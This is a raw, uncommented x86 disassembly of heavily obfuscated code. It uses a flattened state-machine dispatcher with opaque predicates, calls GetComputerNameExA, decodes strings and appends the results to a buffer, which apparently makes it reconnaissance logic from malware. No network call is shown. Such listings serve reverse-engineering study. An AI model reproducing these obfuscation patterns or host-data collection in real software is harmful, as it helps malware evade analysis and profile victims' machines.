cmp eax, 0x5da9f2f
jne 0x44066b
mov eax, dword [esi + 4]
mov ecx, 0x7ffffe0
and eax, ecx
add eax, 0x2e00
and eax, 0xfffc000
mov dword [esi + 4], eax
mov dword [esi], 0x74b929fc
jmp 0x44066b
cmp eax, 0xbddb934c
je 0x444030
cmp eax, 0xbf3ab78d
jne 0x44066b
mov eax, dword [esi + 0x4c]
mov eax, dword [esi + 0x48]
mov eax, dword [esi + 0x44]
mov dword [esi], 0x9c866ef3
jmp 0x44066b
cmp eax, 0x4b79651c
je 0x444054
cmp eax, 0x4c75140d
jne 0x44066b
mov eax, dword [esi + 8]
mov ecx, 0xffffff7b
add eax, ecx
shr eax, 8
imul ecx, eax, 0x21c00
imul eax, eax
imul edx, eax, 0x503b
dec edx
add ecx, 0x1b06c00
mov dword [esi + 8], ecx
mov ecx, 0x9cc5e09c
cmp eax, edx
je 0x441dbe
mov ecx, 0xc70cd5c9
mov dword [esi], ecx
jmp 0x44066b
cmp eax, 0xa01a0d47
je 0x444088
cmp eax, 0xa10ace44
jne 0x44066b
push str.HaNQj8
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x13c], eax
push eax
mov eax, esp
mov dword [esi + 0x80], eax
mov dword [esi], 0xb5c9ae72
jmp 0x44066b
cmp eax, 0x2d53bf60
je 0x4440aa
cmp eax, 0x2edb9700
jne 0x44066b
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 0xb
imul eax, eax
imul edx, eax, 0x5ee1
dec edx
shr ecx, 0xf
and ecx, 0x1ff00
add ecx, 0xfc00
mov dword [esi + 8], ecx
mov ecx, 0xca7c7964
cmp eax, edx
je 0x441e5b
mov ecx, 0x48fbba78
mov dword [esi], ecx
jmp 0x44066b
cmp eax, 0xdc89495d
je 0x4440b8
cmp eax, 0xde61a78c
jne 0x44066b
mov eax, dword [esi + 0x1d0]
mov byte [eax], 0
mov edi, 0x1d
push edi
push 0x4815e0
push dword [esi + 0xec]
call fcn.0044dac0
add esp, 0xc
push 6
push 0x4815fd
push edi
push dword [esi + 0xec]
call fcn.00445490
add esp, 0x10
push 0x1e
push dword [esi + 0xec]
push dword [esi + 0x68]
call fcn.0044dac0
add esp, 0xc
push dword [esi + 0x68]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0x114]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
mov eax, dword [esi + 0x6c]
mov eax, dword [esi + 0x6c]
mov dword [eax], 0xa424d
push dword [esi + 0x6c]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
mov dword [esi], 0x865d8d32
jmp 0x44066b
cmp eax, 0x66177548
je 0x4440eb
cmp eax, 0x679d3030
jne 0x44066b
imul edi, dword [esi + 4], 0x2a8
add edi, 0xfffe2f28
shr edi, 2
add edi, 0xffffffa2
mov eax, edi
shr eax, 0xb
mov dword [esi + 4], eax
push eax
call fcn.00444a76
add esp, 4
mov eax, 0xc5870a4e
cmp edi, 0x58800
jb 0x441f53
mov eax, 0x89c20c5a
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x8e35aca4
je 0x444113
cmp eax, 0x8fe8d881
jne 0x44066b
mov eax, dword [esi + 8]
lea ecx, [eax + 0x5e]
imul ecx, ecx
imul edx, ecx, 0x6fbf
add eax, 0xffffff9f
dec edx
mov dword [esi + 8], eax
mov eax, 0x25465d1b
cmp ecx, edx
je 0x441f94
mov eax, 0x367e9265
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x16fc7477
je 0x44414f
cmp eax, 0x181b1a3b
jne 0x44066b
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 8]
mov dword [esi + 0x160], eax
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
mov dword [esi + 0x164], eax
mov eax, dword [esi + 0x18]
mov eax, dword [eax]
mov dword [esi + 0x168], eax
mov eax, dword [esi + 0x15c]
mov eax, dword [eax*4 + 0x481470]
mov dword [esi + 0x16c], eax
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xa4], eax
mov dword [esi], 0x89c20c5a
jmp 0x44066b
cmp eax, 0xc99362eb
je 0x444160
cmp eax, 0xca7c7964
jne 0x44066b
imul ecx, dword [esi + 4], 0x3a
add ecx, 0xffffe16a
mov dword [esi + 4], ecx
mov eax, 0x72f4bcf0
cmp ecx, 0x71
jl 0x442030
mov eax, 0xc1cecfe1
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x58c0e25c
je 0x444179
cmp eax, 0x59d26614
jne 0x44066b
imul eax, dword [esi + 8], 0x80bb
add eax, 0xffffa3d5
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x7c5d
dec edx
shr eax, 6
and eax, 0x1ffffc0
mov dword [esi + 8], eax
mov eax, 0xac54653c
cmp ecx, edx
je 0x44207e
mov eax, 0x84e89f42
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0xac54653c
je 0x4441ae
cmp eax, 0xac57f66e
jne 0x44066b
imul eax, dword [esi + 4], 0x11ce
add eax, 0xfff16b10
shr eax, 0xf
imul edi, eax, 0xdf
mov dword [esi + 4], edi
push edi
call fcn.00440654
add esp, 4
push edi
push 0x1bb6
push 0x5751
push 0x3ac6
call fcn.00445490
add esp, 0x10
mov eax, 0xb37af821
cmp edi, 0x34
jb 0x4420e3
mov eax, 0xe1c66a6c
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x39fbe18f
je 0x4441b9
cmp eax, 0x3b28e3c1
jne 0x44066b
mov eax, dword [esi + 8]
shl eax, 0xc
add eax, 0xffec10a4
mov dword [esi + 8], eax
mov dword [esi], 0xea42df83
jmp 0x44066b
cmp eax, 0xf31e7dc1
je 0x4441ef
cmp eax, 0xf3bd0545
jne 0x44066b
mov eax, dword [esi + 0x14]
mov eax, dword [esi + 0x30]
mov dword [esi], 0x7362c2eb
jmp 0x44066b
cmp eax, 0x79dcd6a1
je 0x4441fa
cmp eax, 0x7b77bc8f
jne 0x44066b
mov eax, dword [esi + 0x140]
mov byte [eax], 0
mov dword [esi], 0x25ed8bdd
jmp 0x44066b
cmp eax, 0x88d85f77
je 0x444227
cmp eax, 0x89c20c5a
jne 0x44066b
mov eax, dword [esi + 0xa4]
xor ebx, ebx
mov byte [eax + 0xd], bl
mov eax, dword [esi + 0xa4]
mov cl, byte [0x481577]
mov byte [eax + 0xc], cl
mov ecx, dword [0x481573]
mov dword [eax + 8], ecx
mov ecx, dword [str._f_]
mov dword [eax + 4], ecx
mov ecx, dword [0x48156b]
mov dword [eax], ecx
push 5
push 0x481578
push 0xd
push dword [esi + 0xa4]
call fcn.00445490
add esp, 0x10
push dword [esi + 0x160]
push dword [esi + 0x164]
push dword [esi + 0x168]
push dword [esi + 0x16c]
push dword [esi + 0xa4]
push 0x7ff
push dword [esi + 0x108]
call fcn.0042ceb7
add esp, 0x1c
mov eax, dword [esi + 0x50]
sub esp, 0x10
mov edi, esp
mov byte [edi + 0xe], bl
movzx eax, word [0x481589]
mov word [edi + 0xc], ax
mov eax, dword [0x481585]
mov dword [edi + 8], eax
mov eax, dword [0x481581]
mov dword [edi + 4], eax
mov eax, dword [0x48157d]
mov dword [edi], eax
push 6
push 0x48158b
push 0xe
push edi
call fcn.00445490
add esp, 0x10
mov eax, dword [esi + 0x50]
mov ecx, dword [edi + 0xb]
mov dword [eax + 0xb], ecx
mov ecx, dword [edi + 8]
mov dword [eax + 8], ecx
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 4], edx
mov dword [eax], ecx
push dword [esi + 0x50]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0x108]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
mov dword [esi], 0xdd1c1f7
jmp 0x44066b
cmp eax, 0xca312a6
je 0x444249
cmp eax, 0xd7a671c
jne 0x44066b
mov eax, dword [esi + 0xe8]
mov byte [eax + 0xc], 0
mov eax, dword [esi + 0xe8]
mov ecx, dword [str.x_n]
mov dword [eax + 8], ecx
mov ecx, dword [0x4815d2]
mov dword [eax + 4], ecx
mov ecx, dword [0x4815ce]
mov dword [eax], ecx
push 6
push 0x4815da
push 0xc
push dword [esi + 0xe8]
call fcn.00445490
add esp, 0x10
mov eax, dword [esi + 0x60]
mov ecx, dword [esi + 0xe8]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x60]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0x10]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x1c0], eax
mov dword [esi], 0x50649b06
jmp 0x44066b
cmp eax, 0xc443767f
je 0x444262
cmp eax, 0xc4aa367c
jne 0x44066b
push dword [esi + 0x84]
push 0xa2f80070
call fcn.00448b18
add esp, 8
lea ecx, [esi + 0x124]
push ecx
push dword [esi + 0x100]
call eax
mov dword [esi], 0x34a85f49
jmp 0x44066b
cmp eax, 0x51f80afc
je 0x444299
cmp eax, 0x5286ace7
jne 0x44066b
mov dword [esi], 0x463a114b
jmp 0x44066b
cmp eax, 0xa6bac59b
je 0x4442c5
cmp eax, 0xa6d1d8ea
jne 0x44066b
mov eax, dword [esi + 8]
mov ecx, 0xffffff0c
add eax, ecx
mov ecx, eax
shl ecx, 0xe
imul eax, eax
imul edx, eax, 0x7661
add ecx, 0x93000
dec edx
shr ecx, 0xa
mov dword [esi + 8], ecx
mov ecx, 0x67a56864
cmp edx, eax
je 0x4423dc
mov ecx, 0xb0e1b55f
mov dword [esi], ecx
jmp 0x44066b
cmp eax, 0x34ea88bc
je 0x4442f3
cmp eax, 0x359e8812
jne 0x44066b
mov eax, dword [esi + 0x3c]
mov eax, dword [esi + 0x38]
mov eax, dword [esi + 0x34]
mov dword [esi], 0xf3bd0545
jmp 0x44066b
cmp eax, 0xea42df83
je 0x44432a
cmp eax, 0xea8c8821
jne 0x44066b
mov eax, dword [esi + 8]
shr eax, 8
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x51d1
dec edx
add eax, 0xfffffecb
mov dword [esi + 8], eax
mov eax, 0xac54653c
cmp edx, ecx
je 0x44244b
mov eax, 0xab2fa7c8
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x6e84da04
je 0x444347
cmp eax, 0x6f47770e
jne 0x44066b
mov edi, dword [esi + 4]
add edi, 0x2c
shr edi, 0xb
add edi, 0xffffffa8
mov dword [esi + 4], edi
push 0x1eb5
push edi
push 0x203e
push 0x1bbc
call fcn.00445490
add esp, 0x10
push edi
call fcn.00444a76
add esp, 4
mov eax, 0x5bb238ad
cmp edi, 0xab
jb 0x4424aa
mov eax, 0x61ea1718
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x9c866ef3
je 0x444378
cmp eax, 0x9cc5e09c
jne 0x44066b
mov edi, dword [esi + 4]
mov ebx, edi
shr ebx, 0xd
add ebx, 0x4a
mov dword [esi + 4], ebx
call fcn.00408ba5
push ebx
call fcn.00444a76
add esp, 4
mov eax, 0xc291bead
cmp edi, 0x128000
jae 0x4424f5
mov eax, 0xaab5e919
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x23139ff4
je 0x444386
cmp eax, 0x24125407
jne 0x44066b
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xb4], eax
mov eax, dword [esi + 0xb4]
mov byte [eax + 0xc], 0
mov dword [esi], 0x6e5dfc4e
jmp 0x44066b
cmp eax, 0xd0460e08
je 0x4443bf
cmp eax, 0xd2959f27
jne 0x44066b
mov eax, dword [esi + 0x4c]
mov dword [esi], 0x39fbe18f
jmp 0x44066b
cmp eax, 0x5ead8a11
je 0x4443ca
cmp eax, 0x5f687d33
jne 0x44066b
mov eax, dword [esi + 4]
add eax, 0x57
shr eax, 0xd
imul edi, eax, 0xf5
shr edi, 9
and edi, 0xfffffff0
lea ebx, [edi - 0xf0]
mov dword [esi + 4], ebx
push 0x4404
push 0x3628
push ebx
push 0x3741
call fcn.00445350
add esp, 0x10
push ebx
call fcn.00440654
add esp, 4
mov eax, 0xd62d79db
cmp edi, 0x196
jae 0x4425be
mov eax, 0x6e84da04
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0xb38b5094
je 0x444419
cmp eax, 0xb5738bbf
jne 0x44066b
mov dword [esi], 0xd90fc93a
jmp 0x44066b
cmp eax, 0x435a0da4
je 0x444464
cmp eax, 0x463a114b
jne 0x44066b
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xa8], eax
mov eax, dword [esi + 0xa8]
mov byte [eax + 8], 0
mov dword [esi], 0xf3d87e13
jmp 0x44066b
cmp eax, 0xfaaf446a
je 0x4444a6
cmp eax, 0xfb2a3d08
jne 0x44066b
mov eax, dword [esi + 0x60]
mov dword [esi], 0x3d4662e1
jmp 0x44066b
cmp eax, 0x73bde01b
je 0x4444d8
cmp eax, 0x73c1c3f2
jne 0x44066b
mov eax, dword [esi + 4]
shl eax, 0x11
add eax, 0x13a0000
and eax, 0xff800000
mov dword [esi + 4], eax
mov dword [esi], 0xfaaf446a
jmp 0x44066b
cmp eax, 0x82edeb32
je 0x4444e3
cmp eax, 0x82f9eba8
jne 0x44066b
mov dword [esi], 0x5fa840b6
jmp 0x44066b
cmp eax, 0x2d64ae0
je 0x44453d
cmp eax, 0x446e549
jne 0x44066b
mov eax, dword [esi + 0x78]
add eax, 0x14
mov dword [esi + 0x12c], eax
mov dword [esi], 0xdc89495d
jmp 0x44066b
cmp eax, 0xbaeb7a37
je 0x444568
cmp eax, 0xbdd9fdec
jne 0x44066b
push eax
sub esp, 0x1a4
mov eax, esp
mov dword [esi + 0x1c], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x64], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x20], eax
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x68], eax
push eax
mov eax, esp
mov dword [esi + 0x6c], eax
mov dword [esi], 0x9ef395ad
jmp 0x44066b
cmp eax, 0x4a3c51f5
je 0x444584
cmp eax, 0x4b427871
jne 0x44066b
mov eax, dword [esi + 0x5c]
mov ecx, dword [esi + 0xb4]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi], 0xf5a6595a
jmp 0x44066b
cmp eax, 0x9e9f1ead
je 0x4445b5
cmp eax, 0x9ef395ad
jne 0x44066b
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x70], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x74], eax
mov dword [esi], 0xf8e559fe
jmp 0x44066b
cmp eax, 0x2a354784
je 0x4445c9
cmp eax, 0x2d26e45e
jne 0x44066b
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x1c4], eax
mov dword [esi], 0x8a26991
jmp 0x44066b
cmp eax, 0xd62d79db
je 0x4445f2
cmp eax, 0xd90fc93a
jne 0x44066b
push dword [esi + 0x14]
push dword [esi + 0x38]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x3c]
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x98], eax
mov dword [esi], 0x9e2fa6d3
jmp 0x44066b
cmp eax, 0x6299c876
je 0x444620
cmp eax, 0x6403a008
je 0x444a3c
jmp 0x44066b
cmp eax, 0x8ca2d796
je 0x44464b
cmp eax, 0x8ce88bb7
jne 0x44066b
mov eax, dword [esi + 4]
mov ecx, 0xec
add eax, ecx
shr eax, 0xe
imul edi, eax, 0x5b
lea eax, [edi + 0x4d]
mov dword [esi + 4], eax
call fcn.00408ba5
mov eax, 0x5b668583
cmp edi, 0x4b
jb 0x442853
mov eax, 0xf490fa59
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x15d9955a
je 0x444685
cmp eax, 0x16690ac7
jne 0x44066b
mov eax, dword [esi + 0xec]
add eax, 0x1d
mov dword [esi + 0x1d0], eax
mov dword [esi], 0xde61a78c
jmp 0x44066b
cmp eax, 0xc74ee642
je 0x444690
cmp eax, 0xc8d4dac3
jne 0x44066b
mov eax, dword [esi + 8]
add eax, 0xffffffec
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5c23
shr eax, 0x15
dec edx
mov dword [esi + 8], eax
mov eax, 0xef7c14c1
cmp ecx, edx
je 0x4428c6
mov eax, 0x8bc94a5
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x578adb76
je 0x4446b0
cmp eax, 0x5870b9f8
jne 0x44066b
mov eax, dword [esi + 4]
shr eax, 0x1b
mov dword [esi + 4], eax
push 0x4bf5
push 0x2994
push eax
call fcn.0042ceb7
add esp, 0xc
mov dword [esi], 0xd4b796f7
jmp 0x44066b
cmp eax, 0xab2fa7c8
je 0x4446bb
cmp eax, 0xabf6196f
jne 0x44066b
mov eax, dword [esi + 4]
lea eax, [eax + eax*2]
shl eax, 5
add eax, 0xffffff54
mov dword [esi + 4], eax
mov dword [esi], 0x2fc64b54
jmp 0x44066b
cmp eax, 0x3929d46b
je 0x4446c6
cmp eax, 0x39fa3476
jne 0x44066b
imul edi, dword [esi + 4], 0xace9
mov dword [esi + 4], edi
push 0x5bc8
push 0x33e1
push edi
push 0x1526
call fcn.00445490
add esp, 0x10
mov eax, 0x82d3071f
cmp edi, 0xf2
je 0x442986
mov eax, 0xc2fe1158
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0xf1504ec3
je 0x4446f5
cmp eax, 0xf2c135a5
jne 0x44066b
mov eax, dword [esi + 0x14]
mov dword [esi], 0x1fa40e09
jmp 0x44066b
cmp eax, 0x79ae4a35
je 0x444723
cmp eax, 0x79c5bcd5
jne 0x44066b
push 0x18
push 0x474fc0
push dword [esi + 0x84]
call fcn.0044dac0
add esp, 0xc
push 8
push 0x474fd8
push 0xc
push dword [esi + 0x84]
call fcn.00445350
add esp, 0x10
mov dword [esi], 0x4b79651c
jmp 0x44066b
cmp eax, 0x876f42a3
je 0x44475e
cmp eax, 0x87946877
jne 0x44066b
mov eax, dword [esi + 0x74]
mov word [eax + 0x14], 0
mov dword [esi], 0x8ba168fd
jmp 0x44066b
cmp eax, 0xb296c61
je 0x444782
cmp eax, 0xc5c8d49
jne 0x44066b
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x19c]
mov dword [eax + 0x10], ecx
mov dword [esi], 0x8c6092d4
jmp 0x44066b
cmp eax, 0xc2e940b7
je 0x44479f
cmp eax, 0xc2fe1158
jne 0x44066b
push dword [esi + 0x38]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
mov dword [esi + 0x154], eax
mov dword [esi], 0xf95480d7
jmp 0x44066b
cmp eax, 0x5101437e
je 0x4447c1
cmp eax, 0x519910a8
jne 0x44066b
mov ecx, dword [esi + 4]
add ecx, 0x38
shr ecx, 6
mov dword [esi + 4], ecx
mov eax, 0x6f47770e
cmp ecx, 0xba
je 0x442ac9
mov eax, 0xfc82ddc8
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0xa3760a82
je 0x4447e5
cmp eax, 0xa4ce8544
jne 0x44066b
mov eax, dword [esi + 8]
shr eax, 0xc
lea ecx, [eax*8]
sub ecx, eax
imul eax, eax
imul edx, eax, 0x60b5
dec edx
add ecx, 0xffffffa1
mov dword [esi + 8], ecx
mov ecx, 0x1f8f41c8
cmp edx, eax
je 0x442b13
mov ecx, 0xcc429f6a
mov dword [esi], ecx
jmp 0x44066b
cmp eax, 0x34436423
je 0x444801
cmp eax, 0x34a85f49
jne 0x44066b
mov eax, dword [esi + 0x24]
mov dword [esi], 0x4fa8551d
jmp 0x44066b
cmp eax, 0xe9975444
je 0x444834
cmp eax, 0xe9f6d0e6
jne 0x44066b
imul eax, dword [esi + 8], 0x18c00
add eax, 0x10c00
shr eax, 4
mov dword [esi + 8], eax
mov dword [esi], 0x52c0094f
jmp 0x44066b
cmp eax, 0x6c07dc46
je 0x44483f
cmp eax, 0x6e5dfc4e
jne 0x44066b
imul eax, dword [esi + 8], 0xbdc20000
add eax, 0xd84bdffc
mov dword [esi + 8], eax
mov dword [esi], 0x435a0da4
jmp 0x44066b
cmp eax, 0x98ba8218
je 0x444860
cmp eax, 0x9c1ba9ed
jne 0x44066b
mov eax, dword [esi + 4]
mov ecx, 0x7ffff0
and eax, ecx
lea eax, [eax*4 + 0x167a]
mov dword [esi + 4], eax
mov dword [esi], 0x37b3dab2
jmp 0x44066b
cmp eax, 0x1f8f41c8
je 0x444892
cmp eax, 0x1fa40e09
jne 0x44066b
mov dword [esi], 0xb9650f70
jmp 0x44066b
cmp eax, 0xcd6b4b46
je 0x4448c1
cmp eax, 0xce740087
jne 0x44066b
mov eax, dword [esi + 0x180]
mov word [eax], pe_nt_image_headers32
push dword [esi + 0xfc]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov dword [esi], 0x82d3071f
jmp 0x44066b
cmp eax, 0x5d54c426
je 0x444910
cmp eax, 0x5e20d2cc
jne 0x44066b
imul eax, dword [esi + 4], 0x719b0
mov dword [esi + 4], eax
push 0x15be
push 0x34bf
push 0x1919
push eax
call fcn.00445490
add esp, 0x10
mov dword [esi], 0x1936181b
jmp 0x44066b
cmp eax, 0xb274466f
je 0x444927
cmp eax, 0xb37af821
jne 0x44066b
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd4]
mov dword [esi + 0x1a8], eax
mov dword [esi], 0xa6d1d8ea
jmp 0x44066b
cmp eax, 0x3fa03bfc
je 0x44494a
cmp eax, 0x4147df62
jne 0x44066b
mov eax, dword [esi + 0x90]
mov byte [eax + 8], 0
mov eax, dword [esi + 0x90]
mov ecx, dword [0x4814f8]
mov dword [eax + 4], ecx
mov ecx, dword [0x4814f4]
mov dword [eax], ecx
push 4
push 0x4814fc
push 8
push dword [esi + 0x90]
call fcn.00445490
add esp, 0x10
mov dword [esi], 0x2fc64b54
jmp 0x44066b
cmp eax, 0xf8e559fe
je 0x444955
cmp eax, 0xf95480d7
jne 0x44066b
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x154]
mov word [eax + ecx], 0xa
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
mov dword [esi], 0xb1fcd5fe
jmp 0x44066b
cmp eax, 0x74fd6f1f
je 0x444991
cmp eax, 0x77dd275b
jne 0x44066b
mov eax, dword [esi + 8]
shl eax, 0xf
add eax, 0xffffffd3
shr eax, 1
mov dword [esi + 8], eax
mov dword [esi], 0xb5738bbf
jmp 0x44066b
cmp eax, 0x84e89f42
je 0x4449c5
cmp eax, 0x85bf4554
jne 0x44066b
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xe0]
mov ecx, dword [esi + 0xe0]
mov ecx, dword [esi + 0xd8]
mov ecx, dword [esi + 0xdc]
mov ecx, dword [esi + 0xe4]
mov edx, dword [esi + 0x10]
mov edi, dword [esi + 0x1b8]
mov dword [edx + 0x20], edi
mov edx, dword [esi + 0x10]
mov edi, dword [esi + 0x1bc]
mov dword [edx + 0x24], edi
mov edx, dword [esi + 0x10]
mov dword [edx + 0x28], eax
mov eax, dword [esi + 0x10]
mov dword [eax + 0x2c], ecx
mov dword [esi], 0xfb2a3d08
jmp 0x44066b
cmp eax, 0x6652a4e
je 0x4449f0
cmp eax, 0x8a26991
jne 0x44066b
mov eax, dword [esi + 0x1c4]
mov word [eax], 0xa
mov eax, dword [esi + 0x20]
mov dword [esi], 0x3f185db8
jmp 0x44066b
mov eax, dword [esi + 8]
shl eax, 0x11
and eax, 0xfe000000
or eax, 0xac000
mov dword [esi + 8], eax
mov dword [esi], 0x968383c5
jmp 0x44066b
mov dword [esi], 0x85bf4554
jmp 0x44066b
mov dword [esi], 0x683bff05
jmp 0x44066b
push dword [esi + 0x14]
push dword [esi + 0x30]
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x34]
mov dword [esi], 0x48f18c92
jmp 0x44066b
mov eax, dword [esi + 0x138]
mov ecx, dword [esi + 0x7c]
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
mov dword [esi + 0xf4], eax
mov ebx, dword [esi + 0xc]
sub esp, 0x10
mov edi, esp
mov byte [edi + 0xf], 0
mov eax, 0xf
push eax
push 0x4814d2
push edi
call fcn.0044dac0
add esp, 0xc
push 5
push 0x4814e1
mov eax, 0xf
push eax
push edi
call fcn.00445490
add esp, 0x10
mov eax, dword [edi + 0xc]
mov edx, dword [esi + 0xf4]
mov dword [ebx + edx + 0xc], eax
mov eax, dword [edi + 8]
mov dword [ebx + edx + 8], eax
mov eax, dword [edi]
mov ecx, dword [edi + 4]
mov dword [ebx + edx + 4], ecx
mov dword [ebx + edx], eax
mov dword [esi], 0x8a146f18
jmp 0x44066b
push 0x55
push dword [esi + 0x10c]
push dword [esi + 0x110]
call fcn.0045f9cf
add esp, 0xc
mov eax, dword [esi + 0x5c]
mov dword [esi], 0xc2e940b7
jmp 0x44066b
mov ecx, dword [esi + 4]
mov eax, 0xffffff4f
add ecx, eax
mov dword [esi + 4], ecx
mov eax, 0xc74ee642
cmp ecx, 0x52
je 0x442f61
mov eax, 0x367e9265
mov dword [esi], eax
jmp 0x44066b
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x90]
mov dl, byte [ecx + 8]
mov byte [eax + 8], dl
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x2c]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0x104]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x14c], eax
mov dword [esi], 0x5ca5926
jmp 0x44066b
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xac], eax
mov eax, dword [esi + 0xac]
add eax, 0x14
mov dword [esi + 0x178], eax
mov dword [esi], 0x8a159cd1
jmp 0x44066b
mov dword [esi], 0x79ae4a35
jmp 0x44066b
mov eax, dword [esi + 4]
mov ecx, 0x47e7
add eax, ecx
and eax, 0xfffff800
add eax, 0xffffffdb
mov dword [esi + 4], eax
mov dword [esi], 0x87946877
jmp 0x44066b
mov eax, dword [esi + 0x1c8]
push dword [esi + 0x20]
call eax
mov dword [esi], 0x835148af
jmp 0x44066b
mov eax, dword [esi + 8]
shr eax, 3
imul ecx, eax, 0x2b
mov eax, ecx
imul eax, ecx
imul edx, eax, 0x391f
add ecx, 0x48
dec edx
shr ecx, 0xf
mov dword [esi + 8], ecx
mov ecx, 0xb9650f70
cmp eax, edx
je 0x443052
mov ecx, 0x4a3c51f5
mov dword [esi], ecx
jmp 0x44066b
imul edi, dword [esi + 4], 0x36
add edi, 0x74
mov eax, edi
shr eax, 2
mov dword [esi + 4], eax
push eax
push 0x5944
push 0x60a2
push 0x6352
call fcn.00445490
add esp, 0x10
mov eax, 0xa10ace44
cmp edi, 0x1e4
jb 0x443092
mov eax, 0xf490fa59
mov dword [esi], eax
jmp 0x44066b
imul eax, dword [esi + 4], 0x77c42000
add eax, 0x37ccff18
mov dword [esi + 4], eax
mov dword [esi], 0x472cf7c2
jmp 0x44066b
imul eax, dword [esi + 8], 0xe364
add eax, 0x2d4cec
mov dword [esi + 8], eax
mov dword [esi], 0x16690ac7
jmp 0x44066b
mov eax, dword [esi + 8]
lea eax, [eax + eax*8]
shl eax, 6
add eax, 0x9ea
mov dword [esi + 8], eax
mov dword [esi], 0x4147df62
jmp 0x44066b
mov edi, dword [esi + 4]
mov eax, edi
shr eax, 0xb
add eax, 0xffffff71
mov dword [esi + 4], eax
push eax
call fcn.00440654
add esp, 4
mov eax, 0xf3d87e13
cmp edi, 0x70800
jb 0x443114
mov eax, 0xcc9eb19b
mov dword [esi], eax
jmp 0x44066b
mov eax, dword [esi + 0x80]
movzx ecx, word [0x4814e6]
mov word [eax], cx
mov eax, 2
push eax
push 0x4814e8
push eax
push dword [esi + 0x80]
call fcn.00445490
add esp, 0x10
mov dword [esi], 0x840a5579
jmp 0x44066b
mov eax, dword [esi + 0x158]
mov word [eax], 0xa
mov eax, dword [esi + 0x18]
mov dword [esi], 0x909d14cd
jmp 0x44066b
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0xec], eax
mov dword [esi], 0x1ace8a92
jmp 0x44066b
mov eax, dword [esi + 4]
add eax, 0x6a
shr eax, 2
imul ecx, eax, 0x83
add ecx, 0xfffff3ef
mov dword [esi + 4], ecx
